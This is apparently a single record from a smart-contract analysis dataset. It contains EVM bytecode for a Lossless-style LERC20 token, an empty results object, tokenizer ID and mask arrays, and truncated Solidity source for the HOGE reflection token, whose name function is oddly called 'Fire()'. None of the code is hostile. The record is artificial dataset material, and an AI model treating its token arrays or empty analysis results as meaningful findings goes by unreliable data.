167f6c591da8da2f6e69746d7d9ae61c27ee29fbe303798141b4942ae2aef54274b160405160405180910390a25050565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611098611b7c565b73ffffffffffffffffffffffffffffffffffffffff16146110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e5906128c9565b60405180910390fd5b60008282905090506000805b8281101561125957600085858381811061111757611116612c13565b5b905060200201602081019061112c9190612137565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080846111c191906129f1565b9350600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112429190612949565b60405180910390a3828060010193505050506110fa565b5080600080600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112ca91906129f1565b9250508190555050505050565b6060600480546112e690612b52565b80601f016020809104026020016040519081016040528092919081815260200182805461131290612b52565b801561135f5780601f106113345761010080835404028352916020019161135f565b820191906000526020600020905b81548152906001019060200180831161134257829003601f168201915b5050505050905090565b60008282600b60009054906101000a900460ff161561141b57600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663568c75a96113c8611b7c565b84846040518463ffffffff1660e01b81526004016113e893929190612671565b600060405180830381600087803b15801561140257600080fd5b505af1158015611416573d6000803e3d6000fd5b505050505b600060016000611429611b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050848110156114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90612909565b60405180910390fd5b6115036114f1611b7c565b8787846114fe9190612a47565b611b84565b6001935050505092915050565b60008282600b60009054906101000a900460ff16156115c257600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631ffb811f61156f611b7c565b84846040518463ffffffff1660e01b815260040161158f93929190612671565b600060405180830381600087803b1580156115a957600080fd5b505af11580156115bd573d6000803e3d6000fd5b505050505b6115d46115cd611b7c565b8686611c6f565b60019250505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611621611b7c565b73ffffffffffffffffffffffffffffffffffffffff1614611677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166e90612869565b60405180910390fd5b6000600a5414156116bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b4906127e9565b60405180910390fd5b42600a541115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612749565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506000600a819055507f3eb72350c9c7928d31e9ab450bfff2c159434aa4b82658a7d8eae7f109cb4e7b60405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611794611b7c565b73ffffffffffffffffffffffffffffffffffffffff16146117ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e190612829565b60405180910390fd5b600754818051906020012014611835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182c906127a9565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb94bba6936ec7f75ee931dadf6e1a4d66b43d09b6fa0178fb13df9b77fb5841f60405160405180910390a2600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611996611b7c565b73ffffffffffffffffffffffffffffffffffffffff16146119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390612869565b60405180910390fd5b6000600a5414611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612849565b60405180910390fd5b600b60009054906101000a900460ff16611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a77906128a9565b60405180910390fd5b60095442611a8e91906129f1565b600a819055507f6ca688e6e3ddd707280140b2bf0106afe883689b6c74e68cbd517576dd9c245a600a54604051611ac59190612949565b60405180910390a1565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c629190612949565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd690612809565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c90612769565b60405180910390fd5b8181611d719190612a47565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e0191906129f1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e659190612949565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda906128e9565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f60906127c9565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254611fc09190612a47565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120259190612949565b60405180910390a3505050565b6000612045612040846129a4565b61297f565b90508281526020810184848401111561206157612060612c80565b5b61206c848285612b10565b509392505050565b60008135905061208381613063565b92915050565b60008083601f84011261209f5761209e612c76565b5b8235905067ffffffffffffffff8111156120bc576120bb612c71565b5b6020830191508360208202830111156120d8576120d7612c7b565b5b9250929050565b6000813590506120ee8161307a565b92915050565b600082601f83011261210957612108612c76565b5b8135612119848260208601612032565b91505092915050565b60008135905061213181613091565b92915050565b60006020828403121561214d5761214c612c8a565b5b600061215b84828501612074565b91505092915050565b6000806040838503121561217b5761217a612c8a565b5b600061218985828601612074565b925050602061219a85828601612074565b9150509250929050565b6000806000606084860312156121bd576121bc612c8a565b5b60006121cb86828701612074565b93505060206121dc86828701612074565b92505060406121ed86828701612122565b9150509250925092565b6000806040838503121561220e5761220d612c8a565b5b600061221c85828601612074565b925050602061222d858286016120df565b9150509250929050565b6000806040838503121561224e5761224d612c8a565b5b600061225c85828601612074565b925050602061226d85828601612122565b9150509250929050565b6000806020838503121561228e5761228d612c8a565b5b600083013567ffffffffffffffff8111156122ac576122ab612c85565b5b6122b885828601612089565b92509250509250929050565b6000602082840312156122da576122d9612c8a565b5b600082013567ffffffffffffffff8111156122f8576122f7612c85565b5b612304848285016120f4565b91505092915050565b60006020828403121561232357612322612c8a565b5b600061233184828501612122565b91505092915050565b61234381612a7b565b82525050565b61235281612a8d565b82525050565b61236181612ada565b82525050565b6000612372826129d5565b61237c81856129e0565b935061238c818560208601612b1f565b61239581612c8f565b840191505092915050565b60006123ad601f836129e0565b91506123b882612ca0565b602082019050919050565b60006123d0601d836129e0565b91506123db82612cc9565b602082019050919050565b60006123f36027836129e0565b91506123fe82612cf2565b604082019050919050565b60006124166029836129e0565b915061242182612d41565b604082019050919050565b60006124396013836129e0565b915061244482612d90565b602082019050919050565b600061245c6023836129e0565b915061246782612db9565b604082019050919050565b600061247f601c836129e0565b915061248a82612e08565b602082019050919050565b60006124a26026836129e0565b91506124ad82612e31565b604082019050919050565b60006124c56019836129e0565b91506124d082612e80565b602082019050919050565b60006124e86020836129e0565b91506124f382612ea9565b602082019050919050565b600061250b601e836129e0565b915061251682612ed2565b602082019050919050565b600061252e601b836129e0565b915061253982612efb565b602082019050919050565b6000612551601c836129e0565b915061255c82612f24565b602082019050919050565b6000612574601e836129e0565b915061257f82612f4d565b602082019050919050565b60006125976022836129e0565b91506125a282612f76565b604082019050919050565b60006125ba6026836129e0565b91506125c582612fc5565b604082019050919050565b60006125dd6025836129e0565b91506125e882613014565b604082019050919050565b6125fc81612ac3565b82525050565b61260b81612acd565b82525050565b6000602082019050612626600083018461233a565b92915050565b6000608082019050612641600083018761233a565b61264e602083018661233a565b61265b604083018561233a565b61266860608301846125f3565b95945050505050565b6000606082019050612686600083018661233a565b612693602083018561233a565b6126a060408301846125f3565b949350505050565b60006040820190506126bd600083018561233a565b6126ca60208301846125f3565b9392505050565b60006020820190506126e66000830184612349565b92915050565b60006020820190506127016000830184612358565b92915050565b600060208201905081810360008301526127218184612367565b905092915050565b60006020820190508181036000830152612742816123a0565b9050919050565b60006020820190508181036000830152612762816123c3565b9050919050565b60006020820190508181036000830152612782816123e6565b9050919050565b600060208201905081810360008301526127a281612409565b9050919050565b600060208201905081810360008301526127c28161242c565b9050919050565b600060208201905081810360008301526127e28161244f565b9050919050565b6000602082019050818103600083015261280281612472565b9050919050565b6000602082019050818103600083015261282281612495565b9050919050565b60006020820190508181036000830152612842816124b8565b9050919050565b60006020820190508181036000830152612862816124db565b9050919050565b60006020820190508181036000830152612882816124fe565b9050919050565b600060208201905081810360008301526128a281612521565b9050919050565b600060208201905081810360008301526128c281612544565b9050919050565b600060208201905081810360008301526128e281612567565b9050919050565b600060208201905081810360008301526129028161258a565b9050919050565b60006020820190508181036000830152612922816125ad565b9050919050565b60006020820190508181036000830152612942816125d0565b9050919050565b600060208201905061295e60008301846125f3565b92915050565b60006020820190506129796000830184612602565b92915050565b600061298961299a565b90506129958282612b84565b919050565b6000604051905090565b600067ffffffffffffffff8211156129bf576129be612c42565b5b6129c882612c8f565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006129fc82612ac3565b9150612a0783612ac3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a3c57612a3b612bb5565b5b828201905092915050565b6000612a5282612ac3565b9150612a5d83612ac3565b925082821015612a7057612a6f612bb5565b5b828203905092915050565b6000612a8682612aa3565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ae582612aec565b9050919050565b6000612af782612afe565b9050919050565b6000612b0982612aa3565b9050919050565b82818337600083830152505050565b60005b83811015612b3d578082015181840152602081019050612b22565b83811115612b4c576000848401525b50505050565b60006002820490506001821680612b6a57607f821691505b60208210811415612b7e57612b7d612be4565b5b50919050565b612b8d82612c8f565b810181811067ffffffffffffffff82111715612bac57612bab612c42565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4c45524332303a2043616e6e6f74207365742073616d65206164647265737300600082015250565b7f4c45524332303a2054696d65206c6f636b20696e2070726f6772657373000000600082015250565b7f4c45524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b7f4c45524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b7f4c45524332303a20496e76616c6964206b657900000000000000000000000000600082015250565b7f4c45524332303a206275726e20616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4c45524332303a205475726e4f6666206e6f742070726f706f73656400000000600082015250565b7f4c45524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4c45524332303a204d7573742062652063616e64697461746500000000000000600082015250565b7f4c45524332303a205475726e4f666620616c72656164792070726f706f736564600082015250565b7f4c45524332303a204d757374206265207265636f766572792061646d696e0000600082015250565b7f4c45524332303a204c6f73736c65737320616c7265616479206f6e0000000000600082015250565b7f4c45524332303a204c6f73736c65737320616c7265616479206f666600000000600082015250565b7f4c45524332303a204f6e6c79206c6f73736c65737320636f6e74726163740000600082015250565b7f4c45524332303a206275726e2066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4c45524332303a2064656372656173656420616c6c6f77616e63652062656c6f60008201527f77207a65726f0000000000000000000000000000000000000000000000000000602082015250565b7f4c45524332303a206275726e20616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b61306c81612a7b565b811461307757600080fd5b50565b61308381612a99565b811461308e57600080fd5b50565b61309a81612ac3565b81146130a557600080fd5b5056fea264697066735822122084ce1c75c24a6803022ab1aeec5fedef1b3d23d47123e1cf82b25b789016557864736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 9468, 2575, 2509, 4402, 2546, 2487, 2546, 2575, 2509, 19797, 2063, 2683, 6305, 2094, 2575, 21057, 2575, 2487, 29292, 2497, 2581, 16086, 2575, 2620, 2620, 2581, 2546, 23833, 2094, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 6335, 4757, 8663, 13181, 10820, 1063, 3853, 2077, 6494, 3619, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,444
0x96cc6c298683337b0d7e5c51b436f44768e126ff
/** *Submitted for verification at Etherscan.io on 2021-02-07 */ /** *Submitted for verification at Etherscan.io on 2021-02-07 */ // hoge.finance (HOGE) // HOGE defistify dogecoin, it’s doge but DeFi // HOGE is a deflationary farming meme powered currency // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HOGE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'hoge.finance'; string private _symbol = 'HOGE'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function Fire() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; 